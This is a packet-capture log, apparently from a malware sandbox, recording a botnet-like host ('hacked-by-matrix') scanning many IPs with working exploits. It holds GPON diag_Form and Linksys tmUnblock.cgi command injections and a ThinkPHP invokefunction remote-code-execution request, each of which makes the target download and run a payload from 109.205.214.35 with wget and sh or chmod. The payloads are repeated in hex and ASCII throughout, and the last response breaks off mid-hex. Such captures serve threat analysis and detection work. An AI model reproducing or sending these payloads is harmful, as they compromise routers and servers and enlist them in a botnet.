Session ID	Source IP	Source Port	Destination IP	Destination Port
652	192.168.2.13	50712	176.226.134.50	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.723248959 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:48.966269970 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:48 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
653	192.168.2.13	43308	109.146.126.91	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.726465940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
654	192.168.2.13	56600	178.232.94.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.726491928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
655	192.168.2.13	38424	94.11.224.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.726502895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
656	192.168.2.13	52584	210.228.201.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.726558924 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
657	192.168.2.13	36642	109.1.192.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.726573944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
658	192.168.2.13	56410	42.127.188.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.726593018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
659	192.168.2.13	59314	178.11.171.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.726663113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
660	192.168.2.13	34730	94.73.51.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.726690054 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
661	192.168.2.13	52762	109.134.20.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.726721048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
662	192.168.2.13	56382	157.245.145.100	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.795003891 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:50.454894066 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:52.436122894 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:52.760998964 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:52 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
663	192.168.2.13	58102	112.145.30.132	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.802108049 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:52.826889038 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:53.169270992 CET	149	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 345 Connection: close Date: Thu, 21 Mar 2024 04:17:52 GMT Server: WebServer
Mar 21, 2024 05:17:53.169315100 CET	345	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

Session ID	Source IP	Source Port	Destination IP	Destination Port
664	192.168.2.13	56610	107.162.171.56	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:49.809515953 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:50.931785107 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:52.275935888 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:55.123888016 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:55.217356920 CET	172	IN	HTTP/1.0 302 Moved Temporarily Location: https:///GponForm/diag_Form?images/ Via: HTTP/1.1 bit13040.dca1.defense.net Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
665	192.168.2.13	55156	216.171.24.75	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:50.434964895 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
666	192.168.2.13	35458	77.68.126.107	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:50.726593018 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:50.892627954 CET	927	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 731 Date: Thu, 21 Mar 2024 04:17:50 GMT Keep-Alive: timeout=20 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 